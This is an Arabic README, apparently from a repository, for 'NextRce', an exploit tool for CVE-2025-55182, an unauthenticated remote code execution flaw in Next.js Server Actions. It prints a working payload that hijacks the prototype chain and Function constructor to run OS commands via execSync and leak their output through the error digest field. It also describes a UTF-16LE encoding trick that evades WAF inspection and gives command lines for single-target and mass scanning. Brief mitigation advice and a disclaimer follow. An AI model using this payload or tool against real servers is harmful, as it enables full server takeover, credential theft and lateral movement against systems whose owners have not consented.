🚨 NextRce — CVE-2025-55182 (تنفيذ الأكواد عن بُعد في Next.js / React Server Components)

NextRce هي أداة بحث أمني توضّح CVE-2025-55182، وهي ثغرة حرجة في تطبيقات Next.js App Router التي تستخدم مكونات خادم React (RSC) وإجراءات الخادم (Server Actions).

تتيح هذه الثغرة للمهاجم تحقيق تنفيذ الأكواد عن بُعد (RCE) دون الحاجة إلى مصادقة عبر استغلال الطريقة التي يعالج بها Next.js استجابات Server Actions ويحلّل حمولات RSC المتسلسلة على الخادم.

🛠 نظرة عامة على الثغرة

توجد CVE-2025-55182 في بنية Next.js App Router ويمكن تصنيفها كمشكلة حقن كائنات من جهة الخادم / إساءة استخدام سلسلة النماذج الأولية (prototype chain) تحدث أثناء معالجة طلبات multipart/form-data.

عند تفعيل Server Action، يثق خادم Next.js في المدخلات المنظمة الواردة من العميل ويقوم بإلغاء تسلسلها. عبر إرسال حمولة مصمّمة خصيصًا، يمكن للمهاجم التلاعب بمنطق الحل الداخلي وتنفيذ أوامر نظام تعسفية داخل بيئة تشغيل Node.js.

📌 السبب الجذري

تنشأ الثغرة بسبب العوامل المجتمعة التالية:

• نموذج الثقة في Server Actions
  تقبل Server Actions حمولات منظمة من العميل تتم معالجتها عبر منطق حل مكونات خادم React الداخلي دون تحقق كافٍ.

• حقن الكائنات أثناء حل RSC
  يمكن للحمولات المصمّمة إساءة استخدام سلاسل النماذج الأولية ومراجع المُنشئات في JavaScript، مما يسمح بالهروب من نطاق الكائن المقصود.

• تعقيم غير كافٍ
  الحقول الداخلية مثل then و_response ودوال الجلب لبيانات النموذج (form-data getters) ليست محمية بشكل كافٍ ضد التلاعب الخبيث.

• تجاوز جدار الحماية عبر الترميز
  تركز العديد من جدران حماية تطبيقات الويب (WAF) على UTF-8 أو JSON القياسي. إن ترميز الحمولات بصيغة UTF-16LE يسمح لها بتجاوز الفحص بينما يبقى فك ترميزها صحيحًا بواسطة خادم Next.js.

🔬 تحليل الحمولة

يعتمد الاستغلال على حقن حمولة RSC مصمّمة داخل طلب multipart.
فيما يلي نسخة مبسّطة من الحمولة:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

🧠 تفصيل آلية الاستغلال

1. اختطاف سلسلة النماذج الأولية

• "then": "$1:__proto__:then"
• يُسيء هذا استخدام سلسلة النماذج الأولية في JavaScript عبر استبدال خاصية then، مما يتداخل مع الطريقة التي تُحل بها الوعود (Promises) أثناء معالجة مكونات خادم React في بيئة تشغيل Next.js.

2. الهروب عبر المُنشئ

• "_formData": { "get": "$1:constructor:constructor" }
• يتيح هذا الوصول إلى مُنشئ Function العام، مما يمكّن من تنفيذ أكواد JavaScript تعسفية خارج بيئة العزل (sandbox) المقصودة.

3. تنفيذ الأكواد عن بُعد

• process.mainModule .require('child_process') .execSync('{cmd}')
• الوصول إلى الوحدات الداخلية لـ Node.js
• تنفيذ أوامر نظام تشغيل تعسفية بشكل متزامن
• التنفيذ بنفس صلاحيات عملية خادم Next.js

4. استخراج المخرجات عبر digest

• throw Object.assign(new Error('x'), { digest: res });
• يقوم Next.js بحجب رسائل الخطأ التفصيلية ما لم يكن حقل digest موجودًا.
• عبر إرفاق مخرجات الأمر المشفّرة بـ Base64 بخاصية digest، يعيد الخادم نتائج التنفيذ ضمن استجابة HTTP بشكل غير مقصود.

5. تجاوز جدار الحماية WAF (UTF-16LE)

• يمكن ترميز الحمولة بصيغة UTF-16LE وإرسالها على النحو التالي:
• Content-Type: text/plain; charset=utf-16le
• تفشل العديد من محركات WAF في فك ترميز محتوى UTF-16LE وفحصه، بينما يقوم خادم Next.js بفك ترميزه ومعالجته بشكل صحيح، مما يزيد من موثوقية الاستغلال.

💥 الأثر

قد يؤدي الاستغلال الناجح لـ CVE-2025-55182 إلى:

• 🔥 تنفيذ كامل للأكواد عن بُعد

• 🗄️ الوصول إلى البيانات الحساسة وبيانات الاعتماد

• 🔗 حركة جانبية داخل البنية التحتية

• 📦 اختراق سلسلة التوريد

• 🚨 السيطرة الكاملة على الخادم

• مستوى الخطورة: حرج

• المصادقة مطلوبة: لا

🛡 التخفيف

للحماية من CVE-2025-55182:

• قم بترقية Next.js إلى نسخة مصحّحة فورًا
• عطّل Server Actions غير المستخدمة
• فرض تحقق صارم على طلبات multipart/form-data
• أضف قواعد WAF لكشف الحمولات المشفّرة بصيغة UTF-16LE
• راقب ترويسات Next-Action وأنماط الطلبات غير الطبيعية

🚀 الاستخدام

هدف واحد

• python3 exploit.py -u https://target.com -c "whoami"

فحص جماعي مع تجاوز WAF

• python3 exploit.py -l urls.txt -B -t 50

⚠️ إخلاء مسؤولية

• يُقدَّم هذا المشروع حصريًا لأغراض تعليمية وبحثية واختبارات أمنية مصرّح بها.

• لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.

• لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.